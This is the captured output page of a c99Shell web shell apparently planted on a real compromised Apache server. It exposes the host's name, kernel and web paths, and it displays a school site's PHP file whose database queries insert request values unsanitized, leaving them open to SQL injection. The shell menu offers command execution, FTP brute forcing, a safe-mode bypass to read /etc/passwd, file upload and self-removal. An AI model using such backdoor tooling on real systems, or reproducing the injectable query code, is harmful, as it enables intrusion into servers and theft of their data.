!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/   drwxr-xr-x
Free 52.81 GB of 127.8 GB (41.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FormationDetail.php (3.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 
include("../include/FunctionDB.php");
include(
"../include/Function.php");
ConnectDB();
$sql "Select * From   formation_tb  Where  Code='$Code' ";
$result mysql_query($sql) or die("$sql $result".mysql_error());
$rs mysql_fetch_array($result);
?>
<html>
<head>
<title>Information</title>
<link href="../source/style.css" rel="stylesheet" type="text/css">
<SCRIPT language="JavaScript1.2" src="../source/mainmenu.js" type="text/javascript"></SCRIPT>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">

<style type="text/css">
<!--
.style1 {
    font-size: 16px;
    color: #000000;
}
.style2 {font-size: 14px}
.style17 {font-family: Tahoma; font-size: 16px; }
.style18 {font-family: Tahoma}
.style33 {font-size: 14px; font-family: "MS sans serif"; }
.style34 {font-size: 14px; font-family: "MS sans serif"; font-weight: bold; }
.style36 {font-size: 16px}
-->
</style>
<table width="635" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <th width="632" scope="col"><form name="form1" method="post" action="">
      <fieldset>
        <table width="630" border="0">
          <tr>
            <td width="624"><table width="101%" border="0" align="center" cellpadding="2" cellspacing="1" bordercolor="#006699" style="border:0px solid gray">
              <tr bgcolor="#7CAB84" >
                <td height="5" colspan="2" bgcolor="#FFFFFF"></td>
              </tr>
              <tr bgcolor="#7CAB84" >
                <td height="19" colspan="2" bgcolor="#FFFFFF" align="center">ข่าวประชาสัมพันธ์</td>
              </tr>
              <tr bgcolor="#99CCFF">
                <td height="10" colspan="2" align="left" valign="top" bordercolor="#003366" bgcolor="#FFFFFF"></td>
                </tr>
              <tr bgcolor="#99CCFF">
                <td width="15%" align="left" valign="top" bordercolor="#003366" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">รายละเอียด</font></td>
                <td width="85%" valign="top" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"><? echo nl2br($rs['InforDetail']); ?></font></td>
              </tr>
              <tr bgcolor="#99CCFF">
                <td bordercolor="#003366" bgcolor="#FFFFFF" align="left"><font color="#003366" face="Tahoma">เมล์</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><? echo $rs['Organizl']; ?></font></td>
              </tr>
              <tr bgcolor="#99CCFF">
                <td bordercolor="#003366" bgcolor="#FFFFFF" align="left"><font color="#003366" face="Tahoma">ชื่อผู้แจ้ง</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                  <?php
         $Teacher_code 
=  $rs["Teacher_code"];
         
$sql "Select * From personal_tb Where Teacher_code='$Teacher_code'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[First_name] $rss[Teacher_name] $rss[Teacher_lastname]";
         
?>
                </font></td>
              </tr>
              <tr bgcolor="#7CAB84">
                <td colspan="2" bgcolor="#FFFFFF"></td>
              </tr>
            </table>
          </tr>
        </table>
      </fieldset>
      <div align="center"><br>
        <input type="button" name="Submit2" value=" ปิดหน้าต่าง" onClick="javascript:parent.close();" onMouseOver="this.style.cursor='hand'" />
      </div>
    </form></th>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0053 ]--